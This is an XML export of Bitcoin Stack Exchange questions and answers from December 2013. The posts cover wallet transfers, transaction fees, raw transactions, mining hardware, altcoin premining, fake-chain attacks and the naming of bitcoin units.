  <row Id="17818" PostTypeId="2" ParentId="17815" CreationDate="2013-12-03T03:32:52.870" Score="1" Body="&lt;p&gt;You only have to do a simple transaction. You have to create an address (for example, this one (which is mine): 1CnCc2Dp35BZboHE8AZvoyrQXCFFaHUvTZ) and tell him to transfer Bitcoins to that address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You dont have to pay anything for the transaction, but your friend need to pay the transaction fee.&lt;/p&gt;&#xA;" OwnerUserId="5874" LastActivityDate="2013-12-03T03:32:52.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17819" PostTypeId="2" ParentId="17815" CreationDate="2013-12-03T03:34:00.203" Score="1" Body="&lt;p&gt;You and your friend need to agree on the bitcoin-to-fiat exchange rate, and assuming he/she is already in possession of the required amount of bitcoins, he can just send those bitcoins directly to your bitcoin wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't yet have a bitcoin wallet you can just download one, like multibit (&lt;a href=&quot;https://multibit.org/&quot; rel=&quot;nofollow&quot;&gt;https://multibit.org/&lt;/a&gt;‎), create a receiving address and give it to your friend so he can send the bitcoins to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you receive the transaction, and after 3 or 4 confirmations from the bitcoin network, you can assume the debt is settled.&lt;/p&gt;&#xA;" OwnerUserId="8728" LastActivityDate="2013-12-03T03:34:00.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17820" PostTypeId="1" CreationDate="2013-12-03T03:57:44.260" Score="7" ViewCount="8888" Body="&lt;p&gt;Few hours ago I was looking at bitcoin.stackexchange and found a question about quarkcoin. I was curious to know what is this. Reading a &lt;a href=&quot;https://bitcointalk.org/index.php?topic=260031.0&quot;&gt;little bit&lt;/a&gt; I have found that it does not provide anything new except of:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;combining a lot of cryptofunctions in a big ball of mud and calling it super secure&lt;/li&gt;&#xA;&lt;li&gt;quick block generation 30 secs&lt;/li&gt;&#xA;&lt;li&gt;more coins to mint&lt;/li&gt;&#xA;&lt;li&gt;Total of 247 million QRK will be mined in ~ 6 months, after that ~ 1 million QRK p.a. (~ 0.5% p.a inflation)&lt;/li&gt;&#xA;&lt;li&gt;other small tweaks&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And from wiki &lt;a href=&quot;http://en.wikipedia.org/wiki/Quark_%28cryptocurrency%29&quot;&gt;page it is written&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Of the 247 million QRK the developers own roughly 85-90% of them.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I am just curious what value does it bring to the table and why someone would like to mint it, if it sounds like it was created just for developers to dump it for some other crypto.&lt;/p&gt;&#xA;" OwnerUserId="1891" LastEditorUserId="1891" LastEditDate="2013-12-04T20:41:05.623" LastActivityDate="2013-12-13T10:58:00.423" Title="The value of Quarkcoin knowing that big amount was preminted" Tags="|alternatives|quarkcoin|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17822" PostTypeId="2" ParentId="17411" CreationDate="2013-12-03T04:14:42.327" Score="4" Body="&lt;p&gt;Gregory Maxwell, Pieter Wuille, and theymos are using a 2-of-3 address to store a bounty for contributions to CoinJoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=279249.msg2983911#msg2983911&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=279249.msg2983911#msg2983911&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: A 2-of-3 escrow and arbitration site recently launched: &lt;a href=&quot;https://www.bitrated.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.bitrated.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3067" LastEditorUserId="3067" LastEditDate="2013-12-03T20:48:33.937" LastActivityDate="2013-12-03T20:48:33.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17823" PostTypeId="1" CreationDate="2013-12-03T05:09:14.353" Score="4" ViewCount="2036" Body="&lt;p&gt;I am a merchant that accepts bitcoins, and I'm building my own desktop client for receiving them in Java.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I receive a transaction, I would like to be able to see in my client how much bitcoin is stored in the address that I am receiving from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the full blockchain downloaded on my computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I access the balance of an address from the blockchain? I would like to be able to do this offline by accessing the blockchain stored on my hard drive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="9945" LastActivityDate="2018-02-01T02:24:23.947" Title="Check Bitcoin address balance from blockchain" Tags="|java|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17824" PostTypeId="2" ParentId="17808" CreationDate="2013-12-03T05:10:42.483" Score="1" Body="&lt;p&gt;The number after the BTC/USD is the settlement date of that particular futures contract.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find a list of all ICBIT futures in this &lt;a href=&quot;https://icbit.se/futures&quot; rel=&quot;nofollow&quot;&gt;page&lt;/a&gt;, and clicking on one will show you all the details, for example: &lt;a href=&quot;https://icbit.se/BUZ3&quot; rel=&quot;nofollow&quot;&gt;BTC/USD-12.13&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for why the prices are different, it's somewhat outside the scope of a Bitcoin discussion. I really suggest you read up on &lt;a href=&quot;http://en.wikipedia.org/wiki/Futures_contract&quot; rel=&quot;nofollow&quot;&gt;Futures Contracts&lt;/a&gt;. Make sure to fully understand the nature of Futures trading before investing in it.&lt;/p&gt;&#xA;" OwnerUserId="8728" LastActivityDate="2013-12-03T05:10:42.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17825" PostTypeId="1" AcceptedAnswerId="17827" CreationDate="2013-12-03T05:20:40.393" Score="4" ViewCount="214" Body="&lt;p&gt;I understand the output of the SHA-256 hashing function is a random number between 0 and 2^256. Does the randomness of this output imply that there cannot be a, so to say, honey hole in the hashing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance this reddit post, &lt;a href=&quot;http://www.reddit.com/r/BitcoinMining/comments/1rysqh/is_there_something_strange_about_block_272754_and/&quot; rel=&quot;nofollow&quot;&gt;http://www.reddit.com/r/BitcoinMining/comments/1rysqh/is_there_something_strange_about_block_272754_and/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They point out that someone relayed two blocks very close together, approximately 10s apart. Could they have found an occurrence where two block solving hashes sit close to each other?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess this kind of doesn't make sense though. Once a block is found, or a transaction is accepted, and even for each 3 seconds(timestamp) the block header is changed. So you would really could never find a block with the same hash just one number off (same block header, with two blocks one with nonce and the other nonce+1), because the first block will not be included in the second one, the second will become a dead fork in the blockchain?&lt;/p&gt;&#xA;" OwnerUserId="2931" LastEditorUserId="2931" LastEditDate="2013-12-03T05:29:41.233" LastActivityDate="2013-12-03T05:51:30.377" Title="Is the idea of a &quot;honey hole&quot; such as in gold mining, present in bitcoin mining?" Tags="|hash|difficulty|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17826" PostTypeId="2" ParentId="17823" CreationDate="2013-12-03T05:49:56.710" Score="1" Body="&lt;p&gt;Perhaps you can look at the source code of full-mode bitcoin implementations in Java, such as &lt;a href=&quot;https://github.com/bitsofproof/supernode&quot; rel=&quot;nofollow&quot;&gt;bitsofproof (BOF)&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems &lt;a href=&quot;http://code.google.com/p/bitcoinj/&quot; rel=&quot;nofollow&quot;&gt;bitcoinj&lt;/a&gt; also has a &lt;a href=&quot;http://code.google.com/p/bitcoinj/wiki/FullVerification&quot; rel=&quot;nofollow&quot;&gt;full-mode&lt;/a&gt; but it is experimental only and not really suitable for prod.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps...&lt;/p&gt;&#xA;" OwnerUserId="8728" LastActivityDate="2013-12-03T05:49:56.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17827" PostTypeId="2" ParentId="17825" CreationDate="2013-12-03T05:51:30.377" Score="7" Body="&lt;p&gt;No, the SHA2 hashing function is not vulnerable to any known attack that significantly reduces the difficulty of finding a block, but it is a highly random process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Randomness is funny sometimes. Statistically it it works out to be even over a longer time period or larger population, but if you focus in on a small set of samples sometimes you see a cluster or a gap. This is why the estimated hash rate of the network on blockchain.info is woefully inaccurate on anything less than a multi-day average, and bitcoin is based on a 2 week correction period instead of a smaller number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(which is why the unlucky miner can't expect to find 2 blocks quickly &quot;because&quot; he had a drought, and you should not expect a gap to &quot;make up for&quot; earlier luck, it's the  population that matters.)&lt;/p&gt;&#xA;" OwnerUserId="5875" LastActivityDate="2013-12-03T05:51:30.377" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17828" PostTypeId="2" ParentId="17429" CreationDate="2013-12-03T06:38:01.217" Score="4" Body="&lt;p&gt;Yep there are three good options for CPU mining that I know of:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;XPM: PrimeCoin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;QRK: Quark&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PTS: Protoshare - very very new and exactly what you described.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google search those and you'll find plenty of info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems like there was a fourth but I can't remember it off the top of my head.  &lt;/p&gt;&#xA;" OwnerUserId="9975" LastActivityDate="2013-12-03T06:38:01.217" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17829" PostTypeId="1" AcceptedAnswerId="18034" CreationDate="2013-12-03T06:46:55.163" Score="3" ViewCount="1654" Body="&lt;p&gt;Question: Am I able to specify the transaction size in a raw transaction without having to send &quot;change&quot; back to myself?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get some unspent bitcoins&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;listunspent()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I grab the txid, vout, and scriptPubKey for each&#xA;Then I get the list of all the addresses and quantities that I want to send to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;createrawtransaction(source, destination)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let's say my total unspent is 1.00000000 BTC, the total I want to send out to all the addresses is 0.50000000, and it'll be about a 3100 byte transfer that I need to pay 0.00040000 fees for.&#xA;The way I currently build the destination addresses is to place the address it's coming from (myself) as unspent - tx fees - outgoing, so that would be 0.49600000, the destinations would all be specified, and the fee remains unspecified but deduced by the remainder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, this is working for my purposes, but is a little inconvenient. The amount that I'm not sending to anyone sends back to myself and has to be reconfirmed so the funds aren't available until then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I had a single unspent address with 100 BTC and needed to send 1 BTC to 15 people, it doesn't seem to make sense to temporarily lock up 85 BTC in the process. If I were to use a client and manually send 1 BTC at a time, the unused funds would remain available, so I feel pretty confident what I'm asking for is possible.&#xA;Any assistance would be most appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: I'm using bitcoind now.&lt;/p&gt;&#xA;" OwnerUserId="5492" LastActivityDate="2013-12-05T21:58:00.010" Title="How can I specify transaction fee size when creating a raw transaction?" Tags="|blockchain|bitcoind|transaction-fees|raw-transaction|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17830" PostTypeId="1" AcceptedAnswerId="17835" CreationDate="2013-12-03T07:45:06.770" Score="31" ViewCount="55710" Body="&lt;p&gt;What's the minimum transaction with bitcoin - local wallet to local wallet. Can I send for example $20 in bitcoins to another person?&lt;/p&gt;&#xA;" OwnerUserId="9205" LastEditorUserId="5406" LastEditDate="2013-12-17T09:43:59.680" LastActivityDate="2018-06-11T23:41:16.023" Title="What's the minimum transaction with bitcoin?" Tags="|transactions|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17832" PostTypeId="1" CreationDate="2013-12-03T07:54:29.263" Score="3" ViewCount="7241" Body="&lt;p&gt;I am new to Bitcoin. How to integrate Bitcoin payment into my one of website which is designed using ASP.Net.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also how to test it using Sandbox mode as provided by other gateways like PayPal?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;" OwnerUserId="9978" LastActivityDate="2020-01-16T06:09:29.793" Title="How to integrate bitcoin payment in ASP.Net?" Tags="|bitcoind|payment|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17833" PostTypeId="1" CreationDate="2013-12-03T08:24:32.583" Score="7" ViewCount="3410" Body="&lt;p&gt;As the entire blockchain gets much larger, it will be impractical for ordinary users to maintain all of it. Will it be maintained by a diminishing number of powerful systems, and would that create an opportunity for collusion and fraud?&lt;/p&gt;&#xA;" OwnerUserId="9979" LastActivityDate="2013-12-03T15:12:04.230" Title="Will the blockchain get too large?" Tags="|blockchain|" AnswerCount="1" CommentCount="0" ClosedDate="2013-12-04T16:41:17.277" ContentLicense="CC BY-SA 3.0" />
  <row Id="17834" PostTypeId="2" ParentId="17832" CreationDate="2013-12-03T08:41:29.810" Score="0" Body="&lt;p&gt;If you are new to bitcoin, just for accepting payments it is recommended to use a service like &lt;a href=&quot;https://bitpay.com/&quot; rel=&quot;nofollow&quot;&gt;BitPay&lt;/a&gt; or &lt;a href=&quot;https://bips.me/&quot; rel=&quot;nofollow&quot;&gt;BIPS&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They will provide&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Easy API - as opposite of bitcoind API which is intended for low level bitcoin tasks. If you are familiar with PayPal moving to other payment providers should be easy.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Fiat to bitcoin currency and vice versa&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Address generation and matching orders to their bitcoin payments&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Working with bitcoind directly from a web developer perspective is a little cumbersome, so I don't recommend it if you lack bitcoin experience.&lt;/p&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2013-12-03T08:41:29.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17835" PostTypeId="2" ParentId="17830" CreationDate="2013-12-03T08:43:58.563" Score="26" Body="&lt;p&gt;You can send any number of bitcoins to anyone, even 1 satoshi (see &lt;strong&gt;exceptions&lt;/strong&gt; below), which is 0.00000001 BTC (about 0.00001031 USD)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However for such small amounts you may not want to include a transaction fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no minimum transaction fee. However if you send a transaction without any fee you can expect a significant delay in it getting into the blockchain and therefore getting it confirmed. I have tried this recently and it took around 18 hours to get the first confirmation for my transaction. Others have mentioned even higher delays (up to 2 days) in some cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is currently the norm to include a fee of 0.0001 to 0.0005 (approximately 10 to 50 US cents at current exchange rates), resulting in a fairly speedy entry into the blockchain (meaning on average 10 to 20 minutes wait for the first confirmation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note it doesn't make a difference if the transaction happens on the same LAN or even between 2 of your own addresses in the same wallet. If it needs to go on the blockchain the fee should be included unless you are prepared to wait.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in practice, the smallest amount you want to send is one that makes sense taking into account that fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In some circumstances, some bitcoin clients will not even allow you to send a transaction without a fee. This is when your transaction size (in bytes, not the BTC amount being transferred) is over a certain limit. In those cases the client will notify you and ask you to confirm the sending of the fee or cancel the transaction. You can bypass this limit with other clients, but for the same reasons explained above is not something I would recommend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, to take your example of $20 USD, at current BTC/USD exchange rate of $1034.52 you would simply send 0.01933264 BTC + 0.0001 fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Exceptions&lt;/strong&gt;: As @CoinEnablers mentioned in the comments below, in order to fight transaction spam, some measures have been recently introduced to limit very small transactions (so called &quot;dust&quot; transactions). As far as I'm aware these are not changes to the protocol, but simply new default configurations on both clients and miners' software, that makes it fairly hard to get very small amounts accepted. Currently I believe the minimum value accepted by default is set at 5460 satoshi.&lt;/p&gt;&#xA;" OwnerUserId="8728" LastEditorUserId="5406" LastEditDate="2017-06-15T01:02:42.023" LastActivityDate="2017-06-15T01:02:42.023" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17836" PostTypeId="2" ParentId="17515" CreationDate="2013-12-03T08:44:12.197" Score="2" Body="&lt;p&gt;The problem with your math is, that nvidia is far away from being optimal for GPU mining. If you would compare your CPU with an &quot;older&quot; ATI graphic card like my HD 6870  (about 150$) with max TDP 200W you would surely come to the opposite conclusion. I am mining with that card at ~280 to 300 kh/sec on average. Well I did not measure the extra power usage while it is on 100%, but it cannot be more than 150 Watt, since max usage is 200W. Besides: it runs really steady on 100% GPU load (measured with gpu-z) and drops only sometimes to 99% for a second. Not to mention that nowadays cards can get the double amount of kh/s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope I could help you a bit. If you plan to invest into a new/second graphic card then you should go for ATI.&lt;/p&gt;&#xA;" OwnerUserId="9980" LastEditorUserId="9985" LastEditDate="2013-12-03T12:34:12.977" LastActivityDate="2013-12-03T12:34:12.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17837" PostTypeId="1" CreationDate="2013-12-03T08:56:43.253" Score="3" ViewCount="1548" Body="&lt;p&gt;What is preventing the bitcoin client from switching to a fake block chain that would be longer that current official chain? The faked chain would contain fictional transactions, but within the faked chain the transaction would be valid (e.g. like no double spends etc.).&lt;/p&gt;&#xA;" OwnerUserId="3120" LastEditorUserId="5406" LastEditDate="2018-05-04T17:04:06.580" LastActivityDate="2018-05-04T17:04:06.580" Title="Longer fake block chain with &quot;valid&quot; transactions" Tags="|blockchain|blockchain-fork|fraud|best-chain|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17839" PostTypeId="2" ParentId="17759" CreationDate="2013-12-03T09:04:24.237" Score="3" Body="&lt;p&gt;The general description has been given before me.Here are technical details on the attack vector.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The attacker got a certificate that the client will accept, via poor cert validation or other means.&lt;/li&gt;&#xA;&lt;li&gt;The attacker knows the IP address of the server, and is in a position on the network to do things like ARP spoofing.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Ettercap includes modules for ARP, DNS and DHCP &quot;interventions&quot;, and supports direct SSL MITM &lt;/p&gt;&#xA;" OwnerUserId="7519" LastActivityDate="2013-12-03T09:04:24.237" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17840" PostTypeId="2" ParentId="17837" CreationDate="2013-12-03T09:19:59.053" Score="2" Body="&lt;p&gt;Full blockchain nodes actually check not only the block headers, but also every transaction in the block body before accepting that block. If any transaction in the block doesn't &quot;add up&quot; (i.e. its inputs do not match the current accepted balance of those addresses, signatures, etc) then the block will not be accepted as valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is where &quot;light&quot; bitcoin clients (the ones that do not download the full blockchain) have to trust a full-mode node to tell them the &quot;truth&quot; about previous transactions. If the full-mode node is malicious it can certainly trick these light client peers that are connected to it.&lt;/p&gt;&#xA;" OwnerUserId="8728" LastActivityDate="2013-12-03T09:19:59.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17841" PostTypeId="1" CreationDate="2013-12-03T09:22:33.347" Score="3" ViewCount="648" Body="&lt;p&gt;It's been a couple years, and I opened my bitcoin-qt client.  It says I have coins, but is taking days to &quot;sync with network&quot;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further, I cannot find a wallet.dat file anywhere on my system.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can it know I have coins without a wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm on the same computer I had two years ago, and didn't delete any files from my ~library/application support/bitcoin or any other bitcoin related files... sooo... befuddled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any insights, anyone?&lt;/p&gt;&#xA;" OwnerUserId="9983" LastActivityDate="2014-01-02T13:46:02.797" Title="Bitcoin-QT client shows coins, but cannot find wallet.dat" Tags="|wallet|bitcoin-core|synchronization|wallet.dat|" AnswerCount="1" CommentCount="0" ClosedDate="2015-08-20T11:56:12.880" ContentLicense="CC BY-SA 3.0" />
  <row Id="17843" PostTypeId="2" ParentId="17837" CreationDate="2013-12-03T09:43:03.570" Score="5" Body="&lt;p&gt;Bitcoin clients always accept the longest valid chain. On one hand, clients check the received blocks for validity, on the other hand length is defined by another metric than many assume. The length of the blockchain is the sum of the difficulty of all its blocks, not the number of blocks. So, in order to create a fake chain, the attacker would have to actually create a valid chain at the same difficulty. This is either possible for very short chains (double spend attack) or requires a major share of the network's power (51% attack).&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2013-12-03T09:43:03.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17844" PostTypeId="2" ParentId="17576" CreationDate="2013-12-03T09:59:33.973" Score="6" Body="&lt;p&gt;Apparently I do not have enough points yet to give your answer a vote, but your solution also worked for me! Adding -T to the command line command did the trick. Not only do I now get a neat output of what is happening; the -T parameter also made the entire mining process actually &lt;strong&gt;work&lt;/strong&gt;!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Before adding the -T command:&lt;/strong&gt;&#xA;Screen flashed with the &quot;Started CGMiner 3.7.2&quot; message.&#xA;No messages were shown until I pressed CTRL + C.&#xA;The report said that only one share had been submitted and accepted - &lt;em&gt;every time&lt;/em&gt; I ran CGMiner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;After adding the -T command:&lt;/strong&gt;&#xA;The screen doesn't flash any more. &#xA;Everything that happens is outputted line by line to my command prompt.&#xA;CGMiner is actually &lt;em&gt;working and submitting shares&lt;/em&gt;. As we speak I'm on a total of 3616 accepted difficulty shares, contrary to 32 before.&lt;/p&gt;&#xA;" OwnerUserId="9986" LastActivityDate="2013-12-03T09:59:33.973" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17845" PostTypeId="2" ParentId="13419" CreationDate="2013-12-03T10:31:27.677" Score="0" Body="&lt;p&gt;There has to be an incentive for people to mine and at present the transaction fees are no where near enough to cover electricity, let alone the cost of the hardware. I don't see how this is sustainable as the prospect of earning revenue from mining decreases at an exponential rate.&lt;/p&gt;&#xA;" OwnerUserId="9992" LastActivityDate="2013-12-03T10:31:27.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17846" PostTypeId="2" ParentId="16887" CreationDate="2013-12-03T10:40:36.100" Score="2" Body="&lt;h2&gt;Prevalent units of bitcoin&lt;/h2&gt;&#xA;&lt;p&gt;To my knowledge, only &lt;strong&gt;bitcoin&lt;/strong&gt; and &lt;strong&gt;satoshi&lt;/strong&gt; are subunits universally used for Bitcoin.&lt;br /&gt;&#xA;As of 2014/2015, one also often sees &lt;strong&gt;bit&lt;/strong&gt; as a moniker for one microbitcoin, i.e. 100 satoshis.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;BTC&lt;/strong&gt; has been used as the abbreviation for bitcoin for a long time, yet, in September bitcoin was added to &lt;a href=&quot;http://en.wikipedia.org/wiki/ISO_4217&quot; rel=&quot;nofollow noreferrer&quot;&gt;ISO 4217&lt;/a&gt;, as &lt;strong&gt;XBT&lt;/strong&gt;, where X means not associated with a country, just as  in XAG (Silver) and XAU (Gold), and opposed to national currencies, e.g. USD (US Dollar). However, it seems to me that XBT has not been adopted by the community, BTC remains prevalent.&lt;/p&gt;&#xA;&lt;h2&gt;Origin of millibitcoin and microbitcoin&lt;/h2&gt;&#xA;&lt;p&gt;&lt;strong&gt;Millibitcoin&lt;/strong&gt; and &lt;strong&gt;microbitcoin&lt;/strong&gt; follow the conventions of the &lt;a href=&quot;http://en.wikipedia.org/wiki/SI&quot; rel=&quot;nofollow noreferrer&quot;&gt;International System of Units&lt;/a&gt;, and thus are derived from the main unit &lt;strong&gt;bitcoin&lt;/strong&gt; with a prepended &amp;quot;m&amp;quot; for millibitcoin and a prepended &amp;quot;μ&amp;quot; for microbitcoin.&lt;br /&gt;&#xA;Following the same conventions and starting from the common abbreviation &lt;strong&gt;BTC&lt;/strong&gt; for bitcoin, one would use &lt;strong&gt;mBTC&lt;/strong&gt; and &lt;strong&gt;μBTC&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;h2&gt;Millibit and microbit are confusing&lt;/h2&gt;&#xA;&lt;p&gt;While usually people will understand the meaning, using the abbreviations &amp;quot;millibit&amp;quot; or &amp;quot;microbit&amp;quot; gives the impression that they are assiociated with &lt;strong&gt;bit&lt;/strong&gt; as the main unit. This is especially confusing with the advent of &lt;strong&gt;bit&lt;/strong&gt; as a nickname for microbitcoins.&lt;/p&gt;&#xA;&lt;h2&gt;&amp;quot;bit&amp;quot;&lt;/h2&gt;&#xA;&lt;p&gt;Bit is a terrible name for two reasons: Bit, the &lt;strong&gt;b&lt;/strong&gt;inary dig&lt;strong&gt;it&lt;/strong&gt;, is the basic unit of information. It is used a lot in the context of anything related with computers and therefore shouldn't be doubled as a subunit of bitcoin. Second, due to people using &amp;quot;millibit&amp;quot; and &amp;quot;microbit&amp;quot; it is terribly confusing to anyone that is new to Bitcoin, but familiar with the International System of Units.&lt;/p&gt;&#xA;&lt;h2&gt;Millie and Mike&lt;/h2&gt;&#xA;&lt;p&gt;&amp;quot;Millie&amp;quot; and &amp;quot;Mike&amp;quot; were proposed nicknames for millibitcoin and microbitcoin, but I haven't seen them get much usage. I don't think that they will see adoption.&lt;/p&gt;&#xA;&lt;h2&gt;Units in English&lt;/h2&gt;&#xA;&lt;p&gt;In general currencies are not capitalized in English, unlike the name of the protocol. So, you would write about the &lt;em&gt;Bitcoin protocol&lt;/em&gt;, but &lt;em&gt;five bitcoins&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;h2&gt;Overview&lt;/h2&gt;&#xA;&lt;p&gt;I would argue for the following usage of units:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Unit       Value in bitcoins  Value in satoshis   Abbreviation   Symbol&#xA;------------------------------------------------------------------------&#xA;bitcoin        1.0               100,000,000             BTC        ₿&#xA;millibitcoin   0.001                 100,000            mBTC       m₿&#xA;microbitcoin   0.000001                  100            μBTC       μ₿&#xA;bit            0.000001                  100             bit        ƀ&#xA;satoshi        0.00000001                  1         satoshi        ṩ&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note that there neither bit nor satoshi have a widely used symbol, and these two are my personal preference.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2023-08-28T14:20:51.450" LastActivityDate="2023-08-28T14:20:51.450" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17847" PostTypeId="1" AcceptedAnswerId="17851" CreationDate="2013-12-03T10:40:43.947" Score="0" ViewCount="188" Body="&lt;p&gt;I would like to know if Miners can sell their bitcoins only on the exchange markets and privately or they have other preferred channel to add them in the &quot;market&quot;?&lt;/p&gt;&#xA;" OwnerUserId="9894" LastActivityDate="2013-12-23T04:36:00.810" Title="Miners selling bitcoins" Tags="|transactions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17848" PostTypeId="1" AcceptedAnswerId="17906" CreationDate="2013-12-03T10:48:47.183" Score="3" ViewCount="105" Body="&lt;p&gt;Supposing I want to &quot;initiate&quot; an exchange market. Is the only way to get some bitcoins IN  to buy them from another exchange and trying to sell them? (or to wait for people starting trading, correct?)&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="9894" LastEditorUserId="1307" LastEditDate="2013-12-03T22:49:47.693" LastActivityDate="2013-12-04T00:57:39.080" Title="How could you initiate a new Exchange Market?" Tags="|transactions|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17851" PostTypeId="2" ParentId="17847" CreationDate="2013-12-03T12:38:10.807" Score="4" Body="&lt;p&gt;Their bitcoins are no different from any other. Most miners mine in pools where the pool operator initially gets the new bitcoins. Effectively the first thing he does is split them up among the (thousands of) pool participants. They do with them whatever they like. &lt;/p&gt;&#xA;" OwnerUserId="5292" LastEditorUserId="5292" LastEditDate="2013-12-13T10:49:23.870" LastActivityDate="2013-12-13T10:49:23.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
